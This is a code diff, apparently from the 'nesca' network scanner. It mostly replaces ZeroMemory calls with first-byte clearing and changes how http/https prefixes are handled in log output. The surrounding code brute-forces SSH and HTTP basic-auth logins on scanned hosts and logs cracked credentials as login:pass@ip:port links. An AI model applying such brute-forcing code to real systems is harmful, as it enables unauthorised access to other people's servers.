CURL *curl = curl_easy_init();
|
||||
char hostStr[128] = {0};
|
||||
ZeroMemory(hostStr, sizeof(hostStr));
|
||||
strcpy(hostStr, user);
|
||||
strcat(hostStr, "@");
|
||||
strcat(hostStr, host);
|
||||
@ -146,9 +145,12 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
++passCounter;
|
||||
|
||||
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
||||
ZeroMemory(login, sizeof(login));
|
||||
ZeroMemory(pass, sizeof(pass));
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
//ZeroMemory(login, sizeof(login));
|
||||
//ZeroMemory(pass, sizeof(pass));
|
||||
//ZeroMemory(temp, sizeof(temp));
|
||||
login[0] = 0;
|
||||
pass[0] = 0;
|
||||
temp[0] = 0;
|
||||
|
||||
if(res == 0)
|
||||
{
|
||||
|
41
finder.cpp
41
finder.cpp
@ -30,7 +30,8 @@ std::string toLowerStr(const char *str)
|
||||
if (str != NULL) {
|
||||
int tsz = strlen(str);
|
||||
char *strr = new char[tsz + 1];
|
||||
ZeroMemory(strr, tsz);
|
||||
//ZeroMemory(strr, tsz);
|
||||
strr[0] = 0;
|
||||
|
||||
for (int i = 0; i < tsz; i++)
|
||||
{
|
||||
@ -808,7 +809,8 @@ void putInFile(int flag, const char *ip, int port, int size, const char *finalst
|
||||
|
||||
fputsf (log, flag, msg);
|
||||
|
||||
ZeroMemory(msg, strlen(msg));
|
||||
//ZeroMemory(msg, strlen(msg));
|
||||
msg[0] = 0;
|
||||
}
|
||||
|
||||
void _specFillerBA(const char *ip, int port, const char *finalstr, const char *login, const char *pass, int flag)
|
||||
@ -816,13 +818,34 @@ void _specFillerBA(const char *ip, int port, const char *finalstr, const char *l
|
||||
char log[512] = {0};
|
||||
|
||||
++PieBA;
|
||||
int offset = 0;
|
||||
|
||||
if (strstri(ip, "https://") != NULL) {
|
||||
offset = 8;
|
||||
}
|
||||
else if (strstri(ip, "http://") != NULL) {
|
||||
offset = 7;
|
||||
}
|
||||
|
||||
if (strlen(login) > 0 || strlen(pass) > 0)
|
||||
{
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
login, pass, ip, port, login, pass, ip, port, finalstr);
|
||||
if (8 == offset) {
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"https://%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
login, pass, ip + offset, port, login, pass, ip + offset, port, finalstr);
|
||||
}
|
||||
else {
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
login, pass, ip + offset, port, login, pass, ip + offset, port, finalstr);
|
||||
}
|
||||
} else {
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
ip, port, ip, port, finalstr);
|
||||
if (8 == offset) {
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"https://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
ip + offset, port, ip + offset, port, finalstr);
|
||||
}
|
||||
else {
|
||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||
ip + offset, port, ip + offset, port, finalstr);
|
||||
}
|
||||
}
|
||||
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||
@ -1228,7 +1251,7 @@ int _specBrute(const char *ip, int port,
|
||||
|
||||
if (strcmp(lps.other, "404") == 0) {
|
||||
|
||||
stt->doEmitionRedFoundData("BA - 404 <a style=\"color:#717171;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + QString(path) + "/\">" +
|
||||
stt->doEmitionRedFoundData("BA - 404 <a style=\"color:#717171;\" href=\"" + QString(ip) + ":" + QString::number(port) + QString(path) + "/\">" +
|
||||
QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + QString(path) + "</a>");
|
||||
return -1;
|
||||
}
|
||||
@ -1812,11 +1835,11 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
|
||||
sz = ptrQuoteTemp - ptrQuote1 + 1;
|
||||
}
|
||||
char *tempBuff = new char[sz + 1];
|
||||
ZeroMemory(tempBuff, sizeof(*tempBuff));
|
||||
//ZeroMemory(tempBuff, sizeof(*tempBuff));
|
||||
tempBuff[0] = 0;
|
||||
strncpy(tempBuff, ptrQuote1 + 1, sz);
|
||||
memset(tempBuff + sz, 0, 1);
|
||||
char delim[2] = {0};
|
||||
ZeroMemory(delim, 1);
|
||||
delim[0] = ptrQuote1[0];
|
||||
delim[1] = '\0';
|
||||
|
||||
|
27
nesca_3.cpp
27
nesca_3.cpp
@ -217,13 +217,18 @@ std::string ypypNunu()
|
||||
|
||||
|
||||
void _LoadPersInfoToLocalVars(int savedTabIndex) {
|
||||
ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
||||
//ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
||||
trcPersKey[0] = 0;
|
||||
strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32);
|
||||
memset(trcPersKey + 32, '\0', 1);
|
||||
ZeroMemory(currentIP, sizeof(currentIP));
|
||||
ZeroMemory(finalIP, sizeof(finalIP));
|
||||
ZeroMemory(gPorts, sizeof(gPorts));
|
||||
ZeroMemory(gTLD, sizeof(gTLD));
|
||||
currentIP[0] = 0;
|
||||
finalIP[0] = 0;
|
||||
gPorts[0] = 0;
|
||||
gTLD[0] = 0;
|
||||
//ZeroMemory(currentIP, sizeof(currentIP));
|
||||
//ZeroMemory(finalIP, sizeof(finalIP));
|
||||
//ZeroMemory(gPorts, sizeof(gPorts));
|
||||
//ZeroMemory(gTLD, sizeof(gTLD));
|
||||
|
||||
if (savedTabIndex == 0)
|
||||
{
|
||||
@ -2353,8 +2358,10 @@ void setUIText(char *field, QLineEdit *qle, const char *resStr) {
|
||||
}
|
||||
void RestoreSession()
|
||||
{
|
||||
ZeroMemory(gPorts, sizeof(gPorts));
|
||||
ZeroMemory(gTLD, sizeof(gTLD));
|
||||
//ZeroMemory(gPorts, sizeof(gPorts));
|
||||
//ZeroMemory(gTLD, sizeof(gTLD));
|
||||
gPorts[0] = 0;
|
||||
gTLD[0] = 0;
|
||||
|
||||
FILE *resFile = fopen("restore", "r");
|
||||
char resStr[128] = {0};
|
||||
@ -2509,13 +2516,15 @@ void RestoreSession()
|
||||
}
|
||||
setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr);
|
||||
setUIText("[PERSKEY]:", ui->linePersKey, resStr);
|
||||
ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
||||
//ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
||||
trcPersKey[0] = 0;
|
||||
strncpy(trcPersKey, resStr, 32);
|
||||
memset(trcPersKey + 32, '\0', 1);
|
||||
setUIText("[SYSTEMPROXYIP]:", ui->systemProxyIP, resStr);
|
||||
setUIText("[SYSTEMPROXYPORT]:", ui->systemProxyPort, resStr);
|
||||
|
||||
ZeroMemory(resStr, sizeof(resStr));
|
||||
resStr[0] = 0;
|
||||
//ZeroMemory(resStr, sizeof(resStr));
|
||||
};
|
||||
|
||||
fclose(resFile);
|
||||
|
Loading…
Reference in New Issue
Block a user